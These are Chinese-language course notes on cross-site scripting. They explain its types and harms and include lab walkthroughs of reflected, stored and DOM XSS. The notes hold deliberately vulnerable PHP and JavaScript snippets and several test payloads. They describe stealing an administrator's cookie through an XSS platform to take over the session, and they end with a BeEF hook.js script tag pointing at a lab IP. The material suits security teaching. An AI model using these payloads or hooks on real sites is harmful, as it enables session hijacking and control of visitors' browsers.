#知识点:
1、XSS 跨站-原理&攻击&分类等
2、XSS 跨站-反射型&存储型&DOM 型等
3、XSS 跨站-攻击手法&劫持&盗取凭据等
4、XSS 跨站-攻击项目&XSS 平台&Beef-XSS
#XSS跨站系列课程:
- XSS跨站-原理&分类&手法;
- XSS跨站-探针&利用&审计;
- XSS跨站-另类攻击手法利用
- XSS跨站-防御修复&绕过策略
1、原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响
的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵
害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行
处理或处理不严,则浏览器就会直接执行用户注入的脚本。
核心:利用js进行执行命令,一般存在输入输出的位置
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
关键词、标签、说明
文件上传
2、分类
反射型(非持久型)
存储型(持久型)
DOM 型
mXSS(突变型 XSS)
UXSS(通用型 xss)
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
3、危害
网络钓鱼,包括获取各类用户账号;
窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
网页挂马:
进行恶意操作,如任意篡改页面信息、删除文章等;
进行大量的客户端攻击,如ddos等;
获取客户端信息,如用户的浏览历史、真实IP、开放端口等;
控制受害机器向其他网站发起进攻;
结合其他漏洞,如csrf实施进一步危害;
提升用户权限,包括进一步渗透网站;
传播跨站脚本蠕虫等
4.修复
见绕过课程对比参考
基本原理:
php
<?php
//反射型
$code=$_GET['x'];
echo $code;
//存储型见gbook.php
?>
DOM XSS
<div class="page-content">
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
</div><!-- /.page-content -->
传入参数1:
若传入一个js代码:<script>alert(1)</script>
发现此代码被执行了
所以:
就是在输入输入的地方,倘若输入一个js\html等代码,使这个网页可以对此代码进行执行的话,这就是xss攻击。
一、XSS 跨站-原理&分类&手法&探针
类型:
反射型------非持久型:
一次型的
存储型--持久型:
表单、留言板
危害大
DOM型:
DOM:来自html里的输入的一个叫法
接收和输出数据的过程都是由js来进行的,故将输入和输出的结果显示在前端上
二、反射型实例-UA 查询平台数据输出
发现此网站在输出UA头的内容
更改UA头,发现页面和我们修改的一样
XSS注入
成功:
由于反射型,所以危害不是很大:
比如我们在这里注入出来的仅仅是服务器的数据,而XSS大多数的数据都是针对于人,并且此漏洞也不能对其他人造成危害,因为我们给他们的是一个地址,无法进行UA头的修改。
条件过于苛刻:但是对于将地址放到邮件中点开,就会自动接收文件,机主看不到,从而从后台默默安装,然后控制。
三、存储型实例-订单系统 CMS 权限获取
后台查询订单情况
注入
管理员查询留言板,被js注入
启用XSS平台
原理就是,用js代码去触发xss平台的网站,从而进行记录信息
进行注入
管理员点击订单查询会自动触发
将js代码的信息收集到平台上,获得管理员的Cookie
然后用抓获到的cookie进行登录
若没cookie保护则登录成功
SESSIONID:
加入SESSIONID:
进入后台
四、DOM 型实例-EmpireCMS 前端页面审计 (白盒)
根据代码
这里得知,图片上的输入输出是由js完成的
构造payload Javascript:alert(1)
这里如果是用<script>alert(1)<script/>的话,会被认成文件名,所以需要用伪协议去注入
五、XSS 利用环境-XSS 平台&Beef-XSS 项目
Beef-XSS平台:基于钓鱼的项目------XSS的利用框架hook.js
<script> src="http://192.168.162.142:3000/hook.js"</script>